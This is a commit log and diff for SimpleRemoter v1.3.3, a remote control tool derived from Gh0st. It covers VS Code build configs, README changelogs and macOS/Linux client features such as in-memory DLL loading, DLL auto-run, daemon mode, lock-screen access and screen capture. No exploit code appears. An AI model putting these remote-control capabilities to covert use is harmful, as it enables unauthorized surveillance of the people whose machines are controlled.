54 Commits

Author SHA1 Message Date
yuanyuanxiang
95946e0e6a Release v1.3.3 2026-05-10 20:01:13 +02:00
yuanyuanxiang
ab7a16bec5 Feature: Support building macOS client via "Build-Dialog" 2026-05-10 19:46:48 +02:00
yuanyuanxiang
9acd141cab Fix: Modern Terminal blank under SYSTEM; precise reason in info list 2026-05-10 17:36:46 +02:00
yuanyuanxiang
153cbddcf6 Fix: V2 file transfer broken via FileManager dialog (both directions) 2026-05-10 13:50:04 +02:00
yuanyuanxiang
d46176f4ef Refactor: extract Linux/macOS client shared code into common 2026-05-10 10:15:14 +02:00
yuanyuanxiang
70354e244c Improve: Add adaptive screen algorithm option and set to default
Fix: send Windows client path/username as UTF-8 (consistent with CLIENT_CAP_UTF8), keep client ID stable across upgrade
2026-05-09 23:13:24 +02:00
yuanyuanxiang
a354f1ed86 Improve: Embed Modern Terminal DLL in master's resources
Fix: keep Linux/macOS client alive across server restarts; gate all commands on auth-verified state to neutralize unauthorized servers
2026-05-09 00:43:55 +02:00
yuanyuanxiang
f85cc8b86c Fix: Linux client UTF-8 path/active-window garbled on server 2026-05-08 14:03:45 +02:00
yuanyuanxiang
bc06fd5af5 Feature: Linux/macOS server-identity gate via libsign.a
fix remote-cursor flicker on Windows controller
2026-05-08 12:39:59 +02:00
yuanyuanxiang
731ff7a894 Feature: right-click region screenshot in non-control mode 2026-05-08 09:27:19 +02:00
yuanyuanxiang
566f5b8d42 Feature: screen preview thumbnail on host double-click
Server sends COMMAND_SCREEN_PREVIEW_REQ when user double-clicks an
active (non-Locked/Inactive) host that advertises CLIENT_CAP_SCREEN_PREVIEW.
Client BitBlts primary screen, encodes to JPEG via GDI+ and replies. The
existing STATIC tooltip is replaced with a self-drawn CPreviewTipWnd
showing the thumbnail above the host info text, with wide-character
rendering so the popup also works on non-Chinese servers.

- Quality tiers reuse QualityProfile pattern: PreviewProfile + 6 levels
  driven by GetTargetQualityLevel (FRP-aware), with 4K/ultrawide auto
  upscale on Ultra/High tiers up to min(screenWidth/4, 1280).
- Client limits to 1 in-flight capture via atomic counter to defend
  against flood/DoS; Send2Server is already mutex-serialized.
- Server validates responses by reqId only (single in-flight tip);
  4s arrival timeout marks "preview unavailable" without blocking the
  text fallback path.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 18:17:28 +02:00
yuanyuanxiang
70a6b0128e Fix: log list header click was sorting host list (longstanding cross-talk)
ON_NOTIFY(HDN_ITEMCLICK, 0, ...) matches the inner header control's ID,
which is 0 for both m_CList_Online and m_CList_Message. So clicks on
either list's header reach OnHdnItemclickList, which always sorts the
host list by the clicked column index.

The cross-talk has existed since the initial migration commit (5a325a2).
It went unnoticed because pre-0aa7588 both lists' headers triggered the
handler in A mode and the columns happened to align (host list cols 0..2
== IP/Addr/Location, log list also has 3 cols), so log-header clicks
appeared to "sort plausibly". After 0aa7588 only the log list's A-mode
header reached the handler, surfacing the strange "click log header
re-sorts hosts" behavior.

Guard the handler by checking pNMHDR->hwndFrom against the online list's
header HWND. Log header clicks now have no effect on the host list.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 10:47:05 +02:00
yuanyuanxiang
b252cbbaf2 Fix: header sort broken after LVM_SETUNICODEFORMAT (also map HDN_ITEMCLICKW)
The i18n commit (0aa7588) enabled LVM_SETUNICODEFORMAT(TRUE) on the online
list. That flag also flips the embedded header control to Unicode mode, so
header notifications switch from HDN_ITEMCLICKA (= HDN_ITEMCLICK in MBCS
build) to HDN_ITEMCLICKW. The existing ON_NOTIFY mapping only handles the
A version, so clicking the column header silently does nothing.

Add a parallel ON_NOTIFY for HDN_ITEMCLICKW dispatching to the same handler.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 10:37:24 +02:00
yuanyuanxiang
5f4fb62d20 Fix: tray icon not showing in Release service+agent mode (drop NIF_GUID)
NIF_GUID binds the tray icon to the EXE's full path. Once a GUID is
registered for one path, Shell_NotifyIcon(NIM_ADD) silently fails for any
other path using the same GUID. This caused Debug-vs-Release builds and
service+agent dual-process scenarios to fight over the same GUID slot.

Drop NIF_GUID and the static NOTIFY_ICON_GUID; revert to the traditional
(hWnd, uID) identification. The icon is freshly registered per process
launch, no path binding, no cross-instance interference.

The NIF_GUID was leftover from the AUMID/Toast experiment that was later
reverted; only the tray-icon side of that change wasn't cleaned up.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 00:17:32 +02:00
yuanyuanxiang
ef8165c3b4 Feature: sub-connection auth (TOKEN_CONN_AUTH) with HMAC + clientID binding
Client first packet on every sub-connection signs (clientID || timestamp ||
nonce) and waits for server ack. Server verifies signature and pins clientID
on the sub-connection ctx, eliminating IP-reverse-lookup unreliability for
NAT/localhost scenarios. Sub-conn coverage: Win 12 sites, Linux/macOS 3-4
each. Main connection keeps existing TOKEN_LOGIN flow unchanged.

Includes:
- Protocol structs sized to 512/256 bytes with reserved space for future
  extensions (locale, OS info, session token, etc.)
- 5-min timestamp tolerance (Kerberos-grade replay window)
- 10-sec client wait for cross-pacific / weak-network tolerance
- Fix RemoveFromHostList side-effect ordering: MarkDeviceOffline and
  m_ActiveWndW.erase now only fire when ctx is actually removed from
  m_HostList, preventing sub-conn disconnects from misreporting main as
  offline (regression introduced by auth-set clientID on sub ctx)
- Fix latent bug: IOCPClient::m_conn was never assigned in ctor, leaving
  GetConnectionAddress() always NULL and FileManager V2 transfer's
  srcClientID always 0

Breaking change: new client cannot use sub-features against old server.
New server tolerates legacy clients (no auth). Future tightening can reject
unauthenticated sub-connections via IsAuthenticated() flag.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 00:04:40 +02:00
yuanyuanxiang
2c5b5ad628 Improve: client/server - stable client ID via MachineGuid+path (V2) 2026-05-06 21:32:06 +02:00
yuanyuanxiang
0aa75882d1 i18n: UTF-8 protocol capability + Unicode rendering on server 2026-05-06 19:29:02 +02:00
yuanyuanxiang
11434653e9 Feature: Add debug configuration for Microsoft VS Code 2026-05-06 09:51:17 +02:00
yuanyuanxiang
05a9bb1245 Feature: Allow external resource override from res/ directory 2026-05-05 21:21:38 +02:00
yuanyuanxiang
a89f8dd28f Feature: Add zoom functionality for remote desktop viewer in non-control mode 2026-05-05 15:09:16 +02:00
yuanyuanxiang
6113b4653d Fix: Resend login info after group change for macOS/Linux clients 2026-05-05 13:35:02 +02:00
yuanyuanxiang
f11fc93ba8 Feature: Embed language resources, disk files act as optional patches 2026-05-05 13:22:47 +02:00
yuanyuanxiang
773c78ac0f Improve master authorization logs and web remote desktop cursor 2026-05-05 12:46:05 +02:00
yuanyuanxiang
92f3df8464 Perf: Optimize macOS screen capture with CGDisplayStream
Core optimization:
- Use CGDisplayStream instead of per-frame CGDisplayCreateImage
- Push model: CPU sleeps when screen is static (condition_variable wait)
- IOSurface capture avoids expensive image creation per frame
- ~47% CPU reduction during active remote desktop (45% → 24%)

Additional optimizations:
- vImageVerticalReflect (SIMD) replaces manual row-by-row flip
- Cache CGColorSpaceRef to avoid per-frame creation/release
- Cache tempBuffer to avoid per-frame memory allocation
- Throttle getCursorTypeIndex to 250ms (Accessibility API is expensive)

Bug fixes:
- Fix unreliable screen capture permission check (use actual capture test)
- Improve permission logging

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-03 23:36:23 +02:00
yuanyuanxiang
b732f841d0 fix(server): Prevent crash from dangling pointers in file dialog map
Fixed two bugs when closing ScreenSpyDlg with file transfer dialogs:

1. Access violation (0xC0000005): CDlgFileSend self-destructs via
   PostNcDestroy (delete this) when closed, leaving dangling pointers
   in m_FileRecvDlgs map.

2. Double-free: Original code called DestroyWindow() then delete,
   but DestroyWindow already triggers delete this via PostNcDestroy.

Solution:
- Store {HWND, pointer} pairs instead of raw pointers
- Check HWND validity with IsWindow() before accessing pointer
- Use SendMessage(WM_CLOSE) to let dialog self-destruct safely
- Always erase map entries to prevent accumulation of invalid data

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-03 15:29:31 +02:00
yuanyuanxiang
1df2a7b321 feat(macos): Add clipboard support to match Linux implementation 2026-05-03 13:53:58 +02:00
yuanyuanxiang
3d8e90da14 Feature: Add daemon mode (-d) support for macOS 2026-05-03 13:35:30 +02:00
yuanyuanxiang
12e2a33062 Fix: Prevent reconnect crash by clearing callback before destruction 2026-05-03 13:16:02 +02:00
yuanyuanxiang
a8b0932080 Feature: Implement Linux cursor type detection using XFixes extension 2026-05-03 12:58:29 +02:00
yuanyuanxiang
ca37fa419a Feat: Implement H264 for Linux client with dynamic libx264 loading 2026-05-03 12:15:22 +02:00
yuanyuanxiang
36423b1c7c Refactor: Move FileManager to common, add macOS file management support 2026-05-03 10:30:30 +02:00
yuanyuanxiang
a3611d9fc1 Feature: Add terminal support for macOS client with shared PTYHandler 2026-05-03 09:33:47 +02:00
yuanyuanxiang
9ae5529458 Fix: Ensure MFC and Web remote desktop sessions are fully independent 2026-05-02 19:16:30 +02:00
yuanyuanxiang
171fa750e5 Feature: Persist group name to config file and include in login info 2026-05-02 19:14:21 +02:00
yuanyuanxiang
8ed9ba8426 Fix: Wake display on remote desktop start when macOS is locked 2026-05-02 19:14:14 +02:00
yuanyuanxiang
fd3838a151 Feature: filter device visibility by allowed groups for web user 2026-05-02 00:30:08 +02:00
yuanyuanxiang
56419f8ecb Fix: MFC remote desktop touchpad two-finger scroll not working 2026-05-01 23:25:32 +02:00
yuanyuanxiang
bb6fd7b1b9 Feature: Add user idle and screen lock detection for macOS 2026-05-01 23:20:46 +02:00
yuanyuanxiang
3607f1d768 Feature: Add power management to keep macOS client always responsive 2026-05-01 21:43:55 +02:00
yuanyuanxiang
36ba9ccc1d Release v1.3.2 2026-05-01 11:36:56 +02:00
yuanyuanxiang
ed4b9eeb25 Fix: Web remote desktop double-click not working for macOS clients 2026-05-01 11:08:12 +02:00
yuanyuanxiang
cfa9b581fc Fix: Full Disk Access permission check using actual file read 2026-05-01 09:32:15 +02:00
yuanyuanxiang
979f309497 Feature: Add "Full Disk Access" permission check for macOS client 2026-05-01 08:41:08 +02:00
yuanyuanxiang
9b1cb1ced9 Feature: Add cursor position and type detection for macOS client 2026-05-01 08:32:46 +02:00
yuanyuanxiang
f2a184e760 Feature: Implement initial macOS SimpleRemoter client 2026-05-01 01:28:55 +02:00
yuanyuanxiang
7a90d217f3 fix: Missing "linux/lib/libzstd.a" to build Linux client 2026-04-29 19:47:25 +02:00
yuanyuanxiang
1cc66aff56 Feature: Web remote desktop cursor sync with remote host 2026-04-27 12:12:23 +02:00
yuanyuanxiang
b98607d24d Fix: Using wrong DLL info size causes RestoreMemDLL restore failed 2026-04-26 23:29:41 +02:00
yuanyuanxiang
fa9ee977b5 Feature: Implement trigger logic for host online event 2026-04-26 14:41:42 +02:00
yuanyuanxiang
acccc039b6 Fix: Multiple DLLs execute may fail due to a global variable 2026-04-25 17:57:00 +02:00
yuanyuanxiang
c38ccbe7ca Feature: DLL executing parameters persistence and DLL auto-run 2026-04-25 17:30:07 +02:00
yuanyuanxiang
655b1934a4 Feature: Implement user management feature with role support 2026-04-24 12:19:15 +02:00
yuanyuanxiang
ac14073921 Feature: Support switching remote desktop input language 2026-04-23 19:47:31 +02:00
yuanyuanxiang
a649c10d0f Fix mouse double click issue and switch remote desktop issue 2026-04-23 19:10:51 +02:00
111 changed files with 12603 additions and 869 deletions

11
.gitignore vendored
View File

@@ -74,3 +74,14 @@ test/build/
docs/MultiLayerLicense_Design.md
docs/MultiLayerLicense_Implementation.md
docs/_CodeReference.md
linux/CMakeFiles/*
Releases/*
*.log
*.txt
linux/Makefile
linux/cmake_install.cmake
.vs
docs/macOS_Support_Design.md
settings.local.json
*.zip
*.lic

43
.vscode/build.ps1 vendored Normal file
View File

@@ -0,0 +1,43 @@
param(
[Parameter(Mandatory = $true)]
[string]$Target,
[ValidateSet("Debug", "Release")]
[string]$Configuration = "Debug",
[ValidateSet("x64", "x86", "Win32")]
[string]$Platform = "x64"
)
$ErrorActionPreference = "Stop"
$vswhere = Join-Path ${env:ProgramFiles(x86)} "Microsoft Visual Studio\Installer\vswhere.exe"
if (-not (Test-Path $vswhere)) {
Write-Host "ERROR: vswhere.exe not found at $vswhere" -ForegroundColor Red
Write-Host "Install Visual Studio Installer (comes with VS 2017+)." -ForegroundColor Yellow
exit 1
}
$msbuild = & $vswhere -latest -prerelease -products * `
-requires Microsoft.Component.MSBuild `
-find 'MSBuild\**\Bin\MSBuild.exe' | Select-Object -First 1
if (-not $msbuild) {
Write-Host "ERROR: MSBuild not found via vswhere" -ForegroundColor Red
exit 1
}
$sln = Join-Path $PSScriptRoot "..\YAMA.sln" | Resolve-Path
Write-Host "MSBuild : $msbuild" -ForegroundColor Cyan
Write-Host "Solution: $sln" -ForegroundColor Cyan
Write-Host "Target : $Target | $Configuration | $Platform" -ForegroundColor Cyan
Write-Host ""
& $msbuild $sln.Path `
"/t:$Target" `
"/p:Configuration=$Configuration" `
"/p:Platform=$Platform" `
/m /v:minimal /nologo
exit $LASTEXITCODE

61
.vscode/c_cpp_properties.json vendored Normal file
View File

@@ -0,0 +1,61 @@
{
"version": 4,
"configurations": [
{
"name": "Win32",
"intelliSenseMode": "windows-msvc-x64",
"compilerPath": "cl.exe",
"cStandard": "c11",
"cppStandard": "c++17",
"windowsSdkVersion": "10.0.19041.0",
"includePath": [
"${workspaceFolder}",
"${workspaceFolder}/client",
"${workspaceFolder}/common",
"${workspaceFolder}/compress",
"${workspaceFolder}/compress/ffmpeg",
"${workspaceFolder}/server/2015Remote",
"${workspaceFolder}/server/2015Remote/proxy",
"${workspaceFolder}/client/d3d",
"${env:VLDPATH}/include"
],
"defines": [
"_WIN32",
"_WINDOWS",
"_DEBUG",
"_MBCS",
"ZLIB_WINAPI",
"_CRT_SECURE_NO_WARNINGS",
"_AFXDLL",
"_USRDLL"
],
"browse": {
"path": [
"${workspaceFolder}/client",
"${workspaceFolder}/common",
"${workspaceFolder}/compress",
"${workspaceFolder}/server"
],
"limitSymbolsToIncludedHeaders": true
}
},
{
"name": "Linux (WSL)",
"intelliSenseMode": "linux-gcc-x64",
"compilerPath": "/usr/bin/g++",
"cStandard": "c11",
"cppStandard": "c++11",
"includePath": [
"${workspaceFolder}",
"${workspaceFolder}/client",
"${workspaceFolder}/common",
"${workspaceFolder}/compress",
"${workspaceFolder}/linux",
"${workspaceFolder}/linux/mterm"
],
"defines": [
"__linux__"
]
}
]
}

8
.vscode/extensions.json vendored Normal file
View File

@@ -0,0 +1,8 @@
{
"recommendations": [
"ms-vscode.cpptools",
"ms-vscode-remote.remote-wsl",
"ms-vscode.powershell",
"twxs.cmake"
]
}

86
.vscode/launch.json vendored Normal file
View File

@@ -0,0 +1,86 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Yama (Debug x64)",
"type": "cppvsdbg",
"request": "launch",
"program": "${workspaceFolder}/Bin/Yama_x64d.exe",
"args": [
"-agent"
],
"stopAtEntry": false,
"cwd": "${workspaceFolder}/Bin",
"environment": [],
"preLaunchTask": "Build Yama (Debug x64)",
"symbolSearchPath": "${workspaceFolder}/Bin;${workspaceFolder}/x64/Debug",
"sourceFileMap": {
"${workspaceFolder}": "${workspaceFolder}"
}
},
{
"name": "Yama (Attach)",
"type": "cppvsdbg",
"request": "attach",
"processId": "${command:pickProcess}"
},
{
"name": "ghost (Debug x64)",
"type": "cppvsdbg",
"request": "launch",
"program": "${workspaceFolder}/x64/Debug/ghost.exe",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}/x64/Debug",
"environment": [],
"console": "externalTerminal",
"preLaunchTask": "Build ghost (Debug x64)"
},
{
"name": "TestRun (Debug x64)",
"type": "cppvsdbg",
"request": "launch",
"program": "${workspaceFolder}/x64/Debug/TestRun.exe",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}/x64/Debug",
"environment": [],
"console": "externalTerminal",
"preLaunchTask": "Build TestRun (Debug x64)"
},
{
"name": "ghost (Linux WSL)",
"type": "cppdbg",
"request": "launch",
"program": "/mnt/c/github/YAMA/linux/ghost",
"args": [],
"stopAtEntry": false,
"cwd": "/mnt/c/github/YAMA/linux",
"environment": [],
"externalConsole": false,
"MIMode": "gdb",
"miDebuggerPath": "/usr/bin/gdb",
"pipeTransport": {
"pipeCwd": "${workspaceFolder}",
"pipeProgram": "C:\\Windows\\System32\\wsl.exe",
"pipeArgs": [
"-e",
"bash",
"-c"
],
"debuggerPath": "/usr/bin/gdb"
},
"sourceFileMap": {
"/mnt/c/github/YAMA": "${workspaceFolder}"
},
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
],
"preLaunchTask": "Build ghost (Linux WSL)"
}
]
}

109
.vscode/tasks.json vendored Normal file
View File

@@ -0,0 +1,109 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "Build Yama (Debug x64)",
"type": "shell",
"command": "powershell",
"args": [
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-File",
"${workspaceFolder}\\.vscode\\build.ps1",
"-Target",
"Yama",
"-Configuration",
"Debug",
"-Platform",
"x64"
],
"problemMatcher": [
"$msCompile"
],
"group": "build",
"presentation": {
"reveal": "silent",
"panel": "dedicated",
"clear": true
}
},
{
"label": "Build ghost (Debug x64)",
"type": "shell",
"command": "powershell",
"args": [
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-File",
"${workspaceFolder}\\.vscode\\build.ps1",
"-Target",
"ghost",
"-Configuration",
"Debug",
"-Platform",
"x64"
],
"problemMatcher": [
"$msCompile"
],
"group": "build",
"presentation": {
"reveal": "silent",
"panel": "dedicated",
"clear": true
}
},
{
"label": "Build TestRun (Debug x64)",
"type": "shell",
"command": "powershell",
"args": [
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-File",
"${workspaceFolder}\\.vscode\\build.ps1",
"-Target",
"TestRun",
"-Configuration",
"Debug",
"-Platform",
"x64"
],
"problemMatcher": [
"$msCompile"
],
"group": "build",
"presentation": {
"reveal": "silent",
"panel": "dedicated",
"clear": true
}
},
{
"label": "Build ghost (Linux WSL)",
"type": "process",
"command": "wsl",
"args": [
"-e",
"bash",
"-c",
"cmake -DCMAKE_BUILD_TYPE=Debug . && make -j$(nproc)"
],
"options": {
"cwd": "${workspaceFolder}\\linux"
},
"problemMatcher": [
"$gcc"
],
"group": "build",
"presentation": {
"reveal": "always",
"panel": "dedicated",
"clear": true
}
}
]
}

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -56,7 +56,7 @@
## 项目简介
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux** 平台的企业级远程管理工具。
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux + macOS** 平台的企业级远程管理工具。
### 核心能力
@@ -354,6 +354,7 @@ struct FileChunkPacketV2 {
| `TestRun.exe` + `ServerDll.dll` | 分离加载,支持内存加载 DLL |
| Windows 服务 | 后台运行,支持锁屏控制 |
| Linux 客户端 | 跨平台支持v1.2.5+ |
| macOS 客户端 | 跨平台支持v1.3.2+ |
---
@@ -489,10 +490,98 @@ cmake .
make
```
### macOS 客户端v1.3.2+
**系统要求**
- macOS 10.15 (Catalina) 及以上
- 架构支持Intel (x64) 和 Apple Silicon (arm64) 通用二进制
- 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问
**功能支持**
| 功能 | 状态 | 实现 |
|------|------|------|
| 远程桌面 | ✅ | CoreGraphics 屏幕捕获VideoToolbox H.264 硬件编码 |
| 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 |
| 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 |
| 光标同步 | ✅ | 实时同步远程光标样式 |
| 远程终端 | ✅ | PTY 交互式 Shellzsh/bash |
| 文件管理 | ✅ | 双向传输、V2 协议、大文件支持 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 分组管理 | ✅ | 持久化配置文件 |
| 进程管理 | ⏳ | 开发中 |
| 剪贴板 | ⏳ | 开发中 |
**编译方式**
```bash
cd macos
./build.sh
# 或手动编译:
# mkdir build && cd build && cmake .. && make
```
---
## 更新日志
### v1.3.3 (2026.5.10)
**Linux/macOS 客户端深化 & 双层认证安全 & 跨平台共享代码重构**
**新功能:**
- **服务端身份校验Layer 1**Linux/macOS 客户端 HMAC-SHA256 校验服务端身份,未授权服务端无法触发任何子连接
- **子连接认证Layer 2TOKEN_CONN_AUTH**:所有子连接首包签名 + clientID 钉死,解决 NAT/127.0.0.1 路由错位
- **Linux 客户端**H.264 硬件编码(动态加载 libx264、XFixes 光标类型检测、UTF-8 协议能力位
- **macOS 客户端**:文件管理器、远程终端(共享 PTYHandler、剪贴板同步、守护进程模式 (-d)、电源管理、屏幕锁定/空闲检测、CGDisplayStream 推送模式优化
- **主控**屏幕预览缩略图、区域截图、远程桌面缩放、Web 用户按组过滤、嵌入式现代终端、自适应屏幕算法、外部资源覆盖、分组持久化、Build Dialog 支持生成 macOS 客户端
**重构:**
- Linux/macOS 客户端共享代码抽到 `common/`rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread减少 ~300 行重复
**改进:**
- 现代终端 SYSTEM 兼容:自动回退到经典终端,信息列表给出精确原因
- `build.ps1` 增加 `vswhere` 兜底VS 装非默认盘也能找到)
- 强制 `/source-charset:utf-8 /execution-charset:.936` 解决英语 Windows 编译中文乱码
- macOS `install.sh` 源 binary 优先级优化(命令行 → 同目录 → build/bin适配分发场景
**Bug 修复:**
- V2 文件传输在文件管理器对话框双向均损坏(上传 IP 路由错乱 + 下载 chunk 未分发)
- 现代终端在 SYSTEM 权限下空白WebView2 不支持 LocalSystem
- Linux 客户端 UTF-8 路径/活动窗口在服务端乱码
- 日志列表表头点击错排序到主机列表
- LVM_SETUNICODEFORMAT 后表头排序失效(补充 HDN_ITEMCLICKW 映射)
- 服务+代理 Release 模式托盘图标不显示
- macOS/Linux 客户端分组变更后未重发 LOGIN_INFOR
- 文件对话框 map 野指针崩溃
- 重连时未清回调导致访问已销毁 handler 崩溃
- MFC 与 Web 远程桌面会话未完全独立
- macOS 锁屏状态远程桌面启动时未唤醒显示器
- MFC 远程桌面触控板双指滚动失效
### v1.3.2 (2026.5.1)
**macOS 客户端 & Web 远程桌面增强**
**新功能:**
- macOS 客户端支持:全新实现的 macOS 原生客户端支持屏幕捕获、H.264 编码、键鼠控制、系统权限管理
- Web 远程桌面光标同步:浏览器端实时显示远程主机光标样式
- 触发器功能:支持主机上线事件触发自定义操作
- 用户管理功能:新增角色权限管理,支持多用户分级控制
- DLL 执行增强:参数持久化存储、支持自动运行配置
- 远程桌面输入法切换:支持远程切换被控端输入语言
**改进:**
- Web 远程桌面手势优化改进双指手势识别、双击拖拽、Shift 组合键支持
**Bug 修复:**
- 修复 Web 远程桌面在 macOS 客户端上双击无法打开文件的问题
- 修复 macOS 完全磁盘访问权限检测不准确的问题
- 修复 RestoreMemDLL 因 DLL 信息大小错误导致还原失败
- 修复多个 DLL 同时执行可能因全局变量冲突而失败
- 修复鼠标双击和远程桌面切换问题
- 修复 Linux 客户端编译缺少 libzstd.a 的问题
### v1.3.1 (2026.4.15)
**Web 远程桌面 & 多主控共享增强**

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
</a>
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -55,7 +55,7 @@
## Overview
**SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting both **Windows and Linux** platforms.
**SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting **Windows, Linux, and macOS** platforms.
### Core Capabilities
@@ -354,6 +354,7 @@ The master program **YAMA.exe** provides a graphical management interface:
| `TestRun.exe` + `ServerDll.dll` | Separate loading, supports in-memory DLL loading |
| Windows Service | Background operation, supports lock screen control |
| Linux Client | Cross-platform support (v1.2.5+) |
| macOS Client | Cross-platform support (v1.3.2+) |
---
@@ -474,10 +475,98 @@ cmake .
make
```
### macOS Client (v1.3.2+)
**System Requirements**:
- macOS 10.15 (Catalina) or later
- Architecture: Universal Binary (Intel x64 + Apple Silicon arm64)
- Required permissions: Screen Recording, Accessibility, Full Disk Access
**Feature Support**:
| Feature | Status | Implementation |
|---------|--------|----------------|
| Remote Desktop | ✅ | CoreGraphics screen capture, VideoToolbox H.264 hardware encoding |
| Mouse Control | ✅ | CGEvent simulation, supports double-click, drag |
| Keyboard Control | ✅ | CGEvent simulation, full keycode mapping |
| Cursor Sync | ✅ | Real-time remote cursor style synchronization |
| Remote Terminal | ✅ | PTY interactive shell (zsh/bash) |
| File Management | ✅ | Bidirectional transfer, V2 protocol, large file support |
| Heartbeat/RTT | ✅ | RFC 6298 RTT estimation |
| Group Management | ✅ | Persistent configuration file |
| Process Management | ⏳ | In development |
| Clipboard | ⏳ | In development |
**Build Instructions**:
```bash
cd macos
./build.sh
# Or manually:
# mkdir build && cd build && cmake .. && make
```
---
## Changelog
### v1.3.3 (2026.5.10)
**Linux/macOS Client Maturation & Two-Layer Auth & Cross-Platform Code Refactor**
**New Features:**
- **Server Identity Verification (Layer 1)**: Linux/macOS clients verify server via HMAC-SHA256; unauthorized server cannot trigger any sub-connection
- **Sub-Connection Auth (Layer 2, TOKEN_CONN_AUTH)**: All sub-connections sign first packet + clientID pinned, eliminates NAT/127.0.0.1 routing mismatches
- **Linux Client**: H.264 hardware encoding (dynamic libx264 loading), XFixes cursor type detection, UTF-8 protocol capability bit
- **macOS Client**: File manager, remote terminal (shared PTYHandler), clipboard sync, daemon mode (-d), power management, screen lock/idle detection, CGDisplayStream push-mode optimization
- **Master**: Screen preview thumbnail, region screenshot, remote desktop zoom, Web user group filtering, embedded modern terminal, adaptive screen algorithm, external resource override, group name persistence, Build Dialog support for generating macOS client
**Refactor:**
- Linux/macOS client shared code extracted to `common/` (rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread), ~300 lines duplication removed
**Improvements:**
- Modern Terminal SYSTEM compatibility: auto fallback to classic terminal with precise reason in info list
- `build.ps1` adds `vswhere` fallback (finds VS installed on non-default drives)
- Force `/source-charset:utf-8 /execution-charset:.936` to fix Chinese garbling when compiling on English Windows
- macOS `install.sh` source binary priority optimized (command-line → script dir → build/bin), better suits distribution scenarios
**Bug Fixes:**
- V2 file transfer broken in both directions in FileManager dialog (upload IP routing errors + download chunks not dispatched)
- Modern Terminal blank under SYSTEM (WebView2 does not support LocalSystem)
- Linux client UTF-8 path/active-window garbled on server
- Log list header click incorrectly sorted host list
- Header sort broken after LVM_SETUNICODEFORMAT (HDN_ITEMCLICKW mapping added)
- Tray icon not showing in Release service+agent mode
- macOS/Linux clients did not resend LOGIN_INFOR after group change
- File dialog map dangling pointer crashes
- Reconnect crash from not clearing callback before destruction
- MFC and Web remote desktop sessions not fully independent
- macOS locked screen: display not woken on remote desktop start
- MFC remote desktop touchpad two-finger scroll not working
### v1.3.2 (2026.5.1)
**macOS Client & Web Remote Desktop Enhancement**
**New Features:**
- macOS client support: Native macOS client with screen capture, H.264 encoding, keyboard/mouse control, system permission management
- Web remote desktop cursor sync: Real-time display of remote host cursor style in browser
- Trigger functionality: Support custom actions triggered by host online events
- User management: Role-based permission management, multi-user hierarchical control
- DLL execution enhancements: Parameter persistence, auto-run configuration support
- Remote desktop input language switching: Support switching remote host input language
**Improvements:**
- Web remote desktop gesture optimization: Improved two-finger gesture recognition, double-tap drag, Shift key combination support
**Bug Fixes:**
- Fixed Web remote desktop double-click not working for macOS clients
- Fixed macOS Full Disk Access permission detection inaccuracy
- Fixed RestoreMemDLL failure due to incorrect DLL info size
- Fixed multiple DLLs execution failure due to global variable conflict
- Fixed mouse double-click and remote desktop switching issues
- Fixed Linux client build missing libzstd.a
### v1.3.1 (2026.4.15)
**Web Remote Desktop & Multi-Master Sharing Enhancement**

View File

@@ -12,7 +12,7 @@
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
